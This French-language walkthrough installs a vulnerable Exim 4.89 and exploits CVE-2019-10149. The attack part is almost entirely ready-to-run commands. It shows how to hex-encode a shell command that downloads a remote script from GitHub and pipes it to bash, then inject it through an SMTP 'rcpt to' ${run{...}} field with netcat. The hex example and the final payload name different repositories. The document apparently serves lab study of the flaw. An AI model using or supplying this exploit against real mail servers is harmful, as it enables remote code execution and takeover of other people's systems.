CVE-2019-10149 - Exim 4.87 < 4.91

Instructions pour installer une version vulnérable d'Exim et son exploitation Testé sur Linux Ubuntu 16.04, Exim 4.89

Installation d'Exim

Télécharger et extraire la version 4.89 d'exim

• wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz && tar -xvf exim-4.89.tar.xz

Se déplacer dans le dossier extrait

• cd exim-4.89/

Copier et modifier les fichiers de configuration requis

• sed -e 's,^EXIM_USER. * $,EXIM_USER=exim,' Local/Makefile src/EDITME > Local/Makefile

• cp exim_monitor/EDITME Local/eximon.conf

Créer l'utilisateur et le groupe exim

• sudo groupadd -g 31 exim

• sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim

Installer les dépendances

• sudo apt-get update
• sudo apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev libxaw7-dev

Installer exim 4.89

• sudo make install

Modifier /usr/exim/configure pour autoriser le relais afin de pouvoir exploiter sans attendre 7 jours

• sudo sed -iz 's/domainlist relay_to_domains =/domainlist relay_to_domains = * /' /usr/exim/configure
• sudo sed -i '/hostlist relay_from_hosts = localhost/c\hostlist relay_from_hosts = 0.0.0.0' /usr/exim/configure
• sudo sed -i '/require verify = recipient/c#require verify = recipient' /usr/exim/configure

Exécuter exim en tant qu'utilisateur exim

• sudo -H -u exim /usr/exim/bin/exim -bd -d-receive

Fabrication de l'exploit

Convertir votre commande shell en hexadécimal. Exemple :

• /bin/sh -c “wget https://raw.githubusercontent.com/hyim0810/CVE-2019-10149/main/RemoteConnection.sh" -O - | bash
• \x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fhyim0810\x2FCVE\x2D2019\x2D10149\x2Fmain\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22\

Tableau d'exemple :

• \t-c\ = -c
• \t= space
• x20 = space
• x7C = |
• x2F = /
• x3A = :
• x2D = -
• x3E = >
• x26 = &
• x22 = "
• x2E = .

Utilisation de l'exploit

Nous utilisons d'abord nc pour établir une connexion au serveur.

• nc 192.168.0.168 25

Une fois connectés, nous envoyons HELO.

• helo localhost
• (Réponse : 250 exim Hello localhost [192.168.0.168])

Ensuite, nous définissons l'adresse de l'expéditeur sur vide.

• mail from:<>
• (Réponse : 250 OK)

Ensuite, nous définissons l'adresse de notre destinataire avec la charge utile que nous avons créée précédemment en insérant notre commande souhaitée là où se trouvent les points de suspension : rcpt to:${run{...}}@localhost.

• rcpt to:<${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22}}@localhost>
• (Réponse : 250 Accepted)

Et enfin, nous tapons d'abord DATA, suivi de 31 lignes, d'une ligne vide et d'un point.

• DATA
• Received: 1
• Received: 2
• Received: 3
• Received: 4
• Received: 5
• Received: 6
• Received: 7
• Received: 8
• Received: 9
• Received: 10
• Received: 11
• Received: 12
• Received: 13
• Received: 14
• Received: 15
• Received: 16
• Received: 17
• Received: 18
• Received: 19
• Received: 20
• Received: 21
• Received: 22
• Received: 23
• Received: 24
• Received: 25
• Received: 26
• Received: 27
• Received: 28
• Received: 29
• Received: 30
• Received: 31
• .